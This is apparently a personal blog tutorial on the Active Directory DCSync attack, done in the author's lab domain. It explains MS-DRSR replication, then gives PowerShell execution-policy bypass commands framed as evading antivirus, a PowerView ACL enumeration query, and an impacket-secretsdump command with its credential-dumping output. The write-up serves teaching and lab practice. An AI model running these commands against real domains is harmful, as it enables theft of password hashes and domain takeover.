DCSync Attack

Hello again and let’s take a look at the DCSync attack today. As I composed this blog, I’m performing the attack in my own lab environment.

DCSync Attack Background

Let’s understand the AD Replication before diving into the DCSync Attack. In a real-world scenario, there exist multiple domain controllers (DCs). The presence of multiple DCs across various locations enables the synchronization of policies and authentication rules for each respective location. It is crucial to ensure synchronization among all DCs. This synchronization process is facilitated through the “Microsoft Directory Replication Service Remote Protocol (MS-DRSR).”

To guarantee uniformity in configuration updates for every attribute and object, as well as to prevent perpetual replication loops, Active Directory employs various counters and tables. The segmentation of replication is achieved through the use of naming contexts (NC), also referred to as directory partitions. Within each forest, there are at least three Naming Contexts: i) Domain NC, ii) Configuration NC, and iii) Schema NC. Active Directory additionally supports specialized NCs known as application partitions or non-domain NCs (NDNC). NDNC is utilized by DNS.

Once an attacker has compromised the Windows machine, there are several techniques that the attacker can employ to dump the credentials to escalate the privileges such as LSASS Memory, SAM Database, Cached Domain Credentials or Abusing the Directory Replication permission.

DCSync Attack

DCSync is a technique to extract the credentials from the domain controller. In this attack, an adversary take advantage of Microsoft Directory Replication Service Remote Protocol (MS-DRSR) and request for the replication using the ‘GetNCChanges’ function. In response to this domain replication returns the data including password hashes. The following three rights are needed on the target user account in order to perform the DCSync Attack.

This attack is associated with Directory Replication Service Remote Protocol Service (MS-DRSR). This Service Can not be disabled. These privilege are limited to “Domain Admins, Enterprise Admin, Domain Controller Group”. Attacker would load the mimikats and run the DCSync command from the ‘lsadump’ module specifying the target domain controller and domain account.

The “DCSync” command in the mimikatz allow an attacker to pretend to be a domain controller and retrieve password hashes from the another domain controller without executing any code on the target. This is possible using the MS-DRSR’s ‘DRSGetNCChanges‘ method that replicates Naming Context (NC) replica on the server.

The NC Replica is a variable containing a tree of objects whose root object is identified by some naming context (NC). The ‘IDL_DRSGetNCChanges’ method replicates updates from an NC replica on the server.

Naming Context – The Naming Context (NC) is a set of objects organized as a tree. It is referenced by a DSName. The DN of the DSName is the distinguishedName attribute of the tree root. The GUID of the DSName is the objectGUID attribute of the tree root.

Attack Scenario and Lab Environment

I was partially struggling running the PowerView.ps1 over the Evil-WinRM and learned that, To run on a machine, start PowerShell with “powershell -exec bypass” or “powershell.exe -nop -exec bypass” or “powershell -ep bypass” and then load the powerview script: PS> Import-Module .\powerview.ps1

In order to perform enumeration, we are going to use PowerView. You can use the above guideline on how to user PowerView properly without getting caught by your local anti-virus tools.

Enumerating and Exploiting DCSync

Import a ‘Recon’ module from the PowerSploit and we can run the following command.

Get-ObjectAcl -DistinguishedName "dc=ringbuffer,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

The Get-ObjectAcl command retrieves the ACLs associated with a specific Active Directory object. The ‘GenericAll’ permission provides all possible rights to the Active Directory Object, while the ‘WriteDacl’ permission grants the rights to modify the discretionary access control list (DACL) for the AD Object.

It’s important to note that our administrator user has the dcsync right enabled. Keep in mind that the ‘Administrator,’ ‘Domain Admins,’ ‘Enterprise Admins,’ and ‘Domain Controller’ accounts have the capability to execute the DCSync attack, allowing them to pull down passwords or hashes. However, Read-Only Domain Controller accounts do not possess these rights.

With the use of Mimikatz, it becomes possible to extract the password hash for the KRBTGT account, facilitating the creation of Kerberos golden tickets. In this scenario, Mimikatz is employed on a Windows server to extract the hash associated with the KRBTGT account.

We can spin up our Kali instance and use the Impacket’s secretdump to obtain the NTLM hash.

└─$ impacket-secretsdump -outputfile 'dcsync' 'ringbuffer.local'/'Administrator':'******************'@'ringbuffer.local'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x9eee9e94d*****************18
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] NL$KM 
 0000   E5 B2 50 19 36 7B 3E 18  75 7C 49 8C 28 BD 0E A9   ..P.1{>.u.R.(...
 0010   8B 23 95 F4 48 7D 4E 78  63 6F 37 6A 69 52 B1 02   .#..W}....7jiR..
 0020   D0 6F 98 16 76 D6 79 C0  CD A8 08 B7 F3 A8 D7 FD   .o..v.y.........
 0030   5D 87 14 DD FA 37 5B 42  02 9C A0 FF 0B B0 B7 C5   ]....7[B........
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[*] Kerberos keys grabbed
[*] Cleaning up... 
[*] Stopping service RemoteRegistry

That’s all.

Thank you for reading and let me know your thoughts.